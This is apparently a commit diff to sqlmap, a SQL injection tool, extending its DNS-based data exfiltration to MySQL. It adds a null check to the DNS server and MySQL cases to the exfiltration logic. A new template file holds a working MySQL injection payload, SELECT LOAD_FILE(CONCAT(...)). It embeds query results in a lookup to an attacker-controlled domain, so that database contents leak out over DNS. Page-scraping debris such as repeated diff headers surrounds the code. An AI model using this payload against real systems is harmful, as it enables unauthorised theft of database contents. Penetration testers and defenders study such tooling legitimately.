kxcode
diff --git a/‎lib/request/dns.py‎
Lines changed: 4 additions & 1 deletion b/‎lib/request/dns.py‎
Lines changed: 4 additions & 1 deletion
diff --git a/‎lib/techniques/dns/use.py‎
Lines changed: 2 additions & 2 deletions b/‎lib/techniques/dns/use.py‎
Lines changed: 2 additions & 2 deletions
diff --git a/‎procs/mysql/dns_request.txt‎
Lines changed: 1 addition & 0 deletions b/‎procs/mysql/dns_request.txt‎
Lines changed: 1 addition & 0 deletions
@@ -95,6 +95,7 @@ def _():
         thread.start()
 
 if __name__ == "__main__":
+    server = None
     try:
         server = DNSServer()
         server.run()
@@ -118,4 +119,6 @@ def _():
     except KeyboardInterrupt:
         os._exit(0)
     finally:
-        server._running = False
+        if server:
+            server._running = False
+
@@ -52,7 +52,7 @@ def dnsUse(payload, expression):
     count = 0
     offset = 1
 
-    if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
+    if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL):
         output = hashDBRetrieve(expression, checkConf=True)
 
         if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
@@ -64,7 +64,7 @@ def dnsUse(payload, expression):
             while True:
                 count += 1
                 prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
-                chunk_length = MAX_DNS_LABEL / 2 if Backend.isDbms(DBMS.ORACLE) else MAX_DNS_LABEL / 4 - 2
+                chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL) else MAX_DNS_LABEL / 4 - 2
                 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
                 nulledCastedField = agent.nullAndCastField(fieldToCastStr)
                 nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
 
@@ -0,0 +1 @@
+SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%'))
Original file line number	Diff line number	Diff line change
@@ -0,0 +1 @@
	1	+ SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%'))